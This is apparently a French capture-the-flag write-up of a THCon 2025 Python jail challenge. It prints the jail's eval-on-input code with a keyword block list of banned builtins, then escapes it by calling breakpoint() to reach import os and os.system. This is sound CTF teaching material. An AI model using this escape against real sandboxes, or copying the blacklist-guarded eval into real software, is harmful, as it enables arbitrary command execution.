Jailbreak Python #
Temps de résolution : 1h30
Créé par wocsa pour le THCon 2025
Première étape : se mettre à l’aise #
Pour faciliter l’attaque, il est préférable de rendre ce dernier plus verbeux. Nous imprimons traceback.format_exc()
en cas d’erreur et nous imprimons le mot “interdit” lorsque nous sommes empêchés d’exécuter une commande :
import traceback
def jail():
mots_interdits = ["exec", "eval", "builtins", "getattr", "globals", "locals", "import", "os", "open", "__", "."]
commande = str(input(">>> "))
# if any(bad in command for bad in banned_words):
for bad in mots_interdits:
if bad in commande:
print("Commande non autorisée : " + f"contient {bad}")
return
try:
print(eval(commande))
except Exception as e:
# print("Commande invalide " + str(e))
print(traceback.format_exc())
while True:
jail()
Une autre QoL est de lancer le script avec rlwrap
pour avoir une expérience “terminal-like” (flèches haut/bas et gauche/droite)
rlwrap python3 jail.py
Résolution #
- Les variables mots interdits sont réinitialisées (début du fun) ➡️ pas d’intérêt à appuyer là-dessus.
- Aucune appels de méthodes :
.
etgetattr
. - Difficile d’importer
__
,.
etimport
. - MAIS ! Les fonctions built-in ne sont pas mises à None comme dans les autres défis difficiles. Mais beaucoup de
builtins
sont empêchés de fonctionner en raison de la liste noire.
Passons donc une heure à lire les logs pour analyser toutes les fonctions built-in de Python. Les fonctions suivantes peuvent être utiles :
eval
, banni.exec
, banni.open
, banni.breakpoint
… pas banni ? Vraiment ?
Donc, l’attaque est aussi simple que ça :
breakpoint()
import os
os.system(...)